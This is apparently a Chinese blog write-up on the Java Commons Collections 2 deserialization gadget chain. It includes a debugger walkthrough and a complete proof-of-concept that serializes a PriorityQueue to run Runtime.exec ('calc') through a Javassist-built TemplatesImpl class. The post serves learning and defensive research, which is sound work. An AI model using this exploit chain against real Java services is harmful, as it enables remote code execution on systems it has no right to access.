0x01、POC分析

//创建一个CtClass对象的容器
ClassPool classPool=ClassPool.getDefault();
//添加AbstractTranslet的搜索路径
classPool.appendClassPath(AbstractTranslet);
//创建一个新的public类
CtClass payload=classPool.makeClass("CC2");
//让上面创建的类继承AbstractTranslet
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"cmd.exe\");");

首先是通过getDefault创建一个CtClass对象的容器,然后appendClassPath()来添加添加AbstractTranslet的搜索路径;

然后创建一个public修饰的类,类名为CommonsCollection2;通过setSuperclass来设置父类;我们在想想看get()方法是干嘛的?通过该文章javassist使用,可以知道是查找AbstractTranslet

此处总结就是:设置父类为AbstractTranslet

然后创建一个静态代码块,静态代码块中设置内容为:

java.lang.Runtime.getRuntime().exec("calc");

第二部分

//反射创建TemplatesImpl
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
//反射获取templatesImpl的_bytecodes字段
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true); ///将templatesImpl上的_bytecodes字段设置为runtime的byte数组
field.set(templatesImpl,new byte[][]{bytes}); //反射获取templatesImpl的_name字段
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true); //将templatesImpl上的_name字段设置为test
field1.set(templatesImpl,"test");

然后通过反射创建,通过实例化调用了构造无参构造,然后newInstance()来实例化对象,通过反射获取private修饰的_bytecodes属性;获取私有的时候需要使用暴力反射;

然后将反射获取的_bytecodes变量赋值为bytes变量

bytespayload.toBytecode(),而payload是CommonsCollections2类的内容;将templatesImpl上的_bytecodes字段设置为CC2类的的byte数组;

然后再通过反射获取到private修饰的_name变量,最后通过反射设置该变量的值为test

第三部分

InvokerTransformer transformer=new InvokerTransformer("newTransformer",
new Class[]{},
new Object[]{}); TransformingComparator comparator =new TransformingComparator(transformer);

而我们通过cc1知道,InvokerTransformer第⼀个参数是待执⾏的⽅法名第⼆个参数是这个函数的参数列表的参数类型第三个参数是传给这个函数的参数列表接着获取了 InvokerTransformer 实例对象.

所以这边是去调用了newTransformer这个方法,后面再细讲;然后TransformingComparatorcompare方法会去调用传入参数的transform方法。

第四部分

//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1); Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator); Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

构造参数有三种,然后我们这是第二种,自定义容量大小;然后将指定的元素插入此优先级队列,默认是升序排列;

此处是实验代码~~~,由于本人懒,就不单独写,直接修改一下下;

然后通过反射,去获取comparator变量,并且最后在comparator变量设置值为comparator

Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

最后步骤一样,设置queue变量为Object数组,内容为templatesImpl;最后就是输出序列化流

那为什么要添加两个呢?这个稍后调试的时候讲解

0x02、poc调试

这里我先说明一下,因为我昨天去和朋友happy,和初中同学聚了一下还看了唐探3,给忘记了我写了啥东西;所以poc分析就按照之前的废稿写进;然后这边poc我是摘抄自nice一位师傅的;其次就是这边调试我会按照我的思路讲; 接下来就进入正文了

这里不知道上文分析的逻辑,也不想读,就重新理解过程;这边我们看看yso的利用链,这边入口点是PriorityQueue.readObject();知道了路口点,那我们可以进去查找下这个readObject()方法。

断点下好后我们就可以开始debug了,因为前面部分都不是重点。

这边有几个步骤,首先是调用默认的 ObjectInputStream.defaultReadObject() 方法 ,把序列化的文件进行 反序列化去读取数据;然后调用 ObjectInputStream.readInt() 方法读取优先级队列的长度。

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);

此处继续检查集合的容量和类型,然后循环读取数组 queue 的内容这里与 PriorityQueue.writeObject() 方法对应 . 读取 queue 数组的内容

最后进入heapify()方法中,我们f7继续跟进去看看

进去之后我们发现是调用了siftDown()方法;那这for判断的是啥?

这时候就涉及到了exp中为何要添加两个值到容器中

那么我们看看for是怎么判断的?

通过此处,size知道为2,经过计算后为0,判断i大于等于0的时候,执行代码的内容为0,满足这条件;那我们无法判断是否是此处的问题,我们可以修改exp试试

queue.add(1);
queue.add(1);

我们先将此处注释掉一个

最后我们在debug到那一步去看看size的值是多少

这时候可以发现是size的值是1;如果还有什么疑惑的话,没事,下面我们会分析如何构造出这份exp;

那么我们回归正文,我们继续F7进入siftDown()方法看看

这个方法可以看到有两个参数,第一个是整数类型的,也就是数字;第二个X是什么?

X是:queue[i] = queue[0] = TemplatesImpl对象

然后再判断comparator值不为空的时候为true;然而这个comparatorTransformingComparator类型的值,所以进入这个siftDownUsingComparator

我们继续f7跟进siftDownUsingComparator方法里面

然后一直f8到了此处,具体上面的我就不细讲了。这边调用了compare

注意:comparatorTransformingComparator类型的值,所以可以知道调用的是TransformingComparator类里面的compare()方法噢

所以我们f7进去,查看是不是跟我们的想法一致(读者:这不屁话吗,不一致就大结局了)

注意个问题,这边两个参数的内容都是TemplatesImpl的实例化对象。那this.transformer呢?

此处是InvokerTransformer类型的值,所以这边调用的是InvokerTransformer里的transform()方法;这就有点类似CC1里面的了,绕到此处,使用反射进行rce;

但是,这里我们就要细节了,注意看上图中的时时变量,

所以我们跟进去看看所谓的细节~~,既然调用了newTransformer方法,我们就进去看看这个方法。那这是哪个类的呢?

这里类型是这个,也就是exp构造的类型,所以这个方法属于这个类中的

TemplatesImpl.newTransformer() 方法主要用于获取 TemplatesImpl 实例对象 , 后面可以使用此实例处理来自不同源的XML文档 , 并对其进行转换等操作。其中会调用getTransletInstance方法。前面可是没有条件判断,意思就是必进的点

进入了getTransletInstance()方法中

方法用于生成 translet 实例对象 . 这个实例对象随后会被封装在 Transformer 实例对象中。

为什么构造 Payload 时 _name 字段不填充会利用失败 ?

其实是因为 getTransletInstance() 方法会对 TemplatesImpl 对象的 _name 字段有一步判断 , 如果该属性值为 null , 则直接返回 null;不为空的时候,才能进入下面的条件分支

接着代码会判断 _class 字段值是否为空 , 如果为空就会调用 defineTransletClasses() 方法 . 这里 _class 字段为空 , 因此我们跟进该方法。

该方法会对 _bytecodes 字段进行解析 , 核心代码如下:

代码会通过 loader.defineClass() 方法将字节码数组转换成类的实例 。

而唯一的条件就是该类的父类为 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

然后一直到最后,defineTransletClasses()执行完后会跳回刚刚的地方

由于变量 _transletIndex 的值为 " 0 " , 因此 _class[_transletIndex] 实际上就是我们通过 JAVAssist 构造的恶意类 。

现在会对恶意类调用 newInstance() 方法 , 类会先被加载后再被实例化 .

类在加载时会调用静态代码块中的内容 . 因此服务端最终会进入 java.lang.Runtime.getRuntime().exec() 反射链 , 执行系统命令。

0x03、完整POC

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue; public class exp {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CC2");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytes=payload.toBytecode();//转换为byte数组 Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes}); Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test"); InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1); Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator); Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl}); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject(); }
}

0x04、总结

可能有部分不好,因为分析一半出去玩,然后一回来写,进入状态有点不佳,但是应该很详细了;而CC2链涉及到了两个知识点: JAVAssist 与 PriorityQueu;所以学下这两个知识点就差不多了

参考文章:

https://www.cnblogs.com/nice0e3/p/13860621.html

https://www.cnblogs.com/kuaile1314/p/14239789.html

https://www.cnblogs.com/0x7e/p/14246855.html

https://www.cnblogs.com/0x7e/p/14246623.html

Commons Collections2分析的更多相关文章

  1. Java安全之Commons Collections2分析

    Java安全之Commons Collections2分析 首发:Java安全之Commons Collections2分析 0x00 前言 前面分析了CC1的利用链,但是发现在CC1的利用链中是有版 ...

  2. Ysoserial Commons Collections2分析

    Ysoserial Commons Collections2分析 About Commons Collections2 CC2与CC1不同在于CC2用的是Commons Collections4.0; ...

  3. Java安全之Commons Collections3分析

    Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...

  4. ysoserial Commons Collections2反序列化研究

    Apache Commons Collections2反序列化研究 环境准备 JDK 1.7 Commons Collections 4.0 javassit 前置知识 PriorityQueue() ...

  5. Java安全之Commons Collections1分析(二)

    Java安全之Commons Collections1分析(二) 0x00 前言 续上篇文,继续调试cc链.在上篇文章调试的cc链其实并不是一个完整的链.只是使用了几个方法的的互相调用弹出一个计算器. ...

  6. Java安全之Commons Collections1分析(一)

    Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...

  7. Java安全之Commons Collections1分析前置知识

    Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...

  8. Java安全之Commons Collections1分析(三)

    Java安全之Commons Collections1分析(三) 0x00 前言 继续来分析cc链,用了前面几篇文章来铺垫了一些知识.在上篇文章里,其实是硬看代码,并没有去调试.因为一直找不到JDK的 ...

  9. Java安全之Commons Collections5分析

    Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...

随机推荐

  1. uni-app开发经验分享二十一: 图片滑动解锁插件制作解析

    在开发用户模块的时候,相信大家都碰到过一个功能,图片滑动解锁后发送验证码,这里分享我用uni-app制作的一个小控件 效果如下: 需要如下图片资源 template <template> ...

  2. ichartjs插件的使用

    项目中可能会用到饼状图.柱状图.环形图等,ichartjs是一个很不错的插件,体量小,只需引入ichart.1.2.1.min.js即可满足基础需求,github下载地址是:https://githu ...

  3. Py第一次练习,第二次练习

    有两个列表      l1 = [11,22,33]        l2 = [22,33,44] 1.获取内容相同的元素列表2.获取l1中有l2中没有的元素列表3.获取l1和l2中不同的元素列表 l ...

  4. spring源码分析之玩转ioc:bean初始化和依赖注入(一)

    最近赶项目,天天加班到十一二点,终于把文档和代码都整完了,接上继续整. 上一篇聊了beanProcess的注册以及对bean的自定义修改和添加,也标志着创建bean的准备工作都做好了,接下来就是开大招 ...

  5. GIT常用命令:

    1.安装好Git之后,点击鼠标右键即可看到有Git bush选项,点击即可进入Git命令行操作. 2.使用命令: git  config  --global user.name "lyh&q ...

  6. CSSmargin击穿问题(子元素margin-top会影响父元素)

    最近写一个H5页面的时候发现了这个被忽视的问题,一时没想到什么原因,搜了半天,记录一下,方便他人踩坑.唉,有些东西不用就忘. 一.问题描述 <div class="container& ...

  7. is_callable Callbacks / Callables What is a “callable”? 可调用 回调函数

    PHP: Callback / Callable 类型 - Manual https://www.php.net/manual/zh/language.types.callable.php Callb ...

  8. MySQL的sql_mode模式 解决数据Incorrect DECIMAL value: ‘0’ for column ” at row -1问题

    https://blog.csdn.net/weiwoyonzhe/article/details/85177294?depth_1-utm_source=distribute.pc_relevant ...

  9. 前端api管理工具YApi

    使用YApi接口管理工具,提升前端开发效率前端开发苦恼: 代码中使用json数据模拟后端api数据,注释调取api接口代码,代码乱七八糟 为了测试不同case,央求后端人员返回不同的数据,返回状态.返 ...

  10. python基础学习2 函数变量与赋值

    学习的第一步,就是通常的输出函数:print() 1.基础主要学习了变量的赋值,变量名可以疑字母.数字.下划线(_)进行命名,但是不能以数字开头 变量的赋值:变量名 = 变量值 2.模块的导入,和调用 ...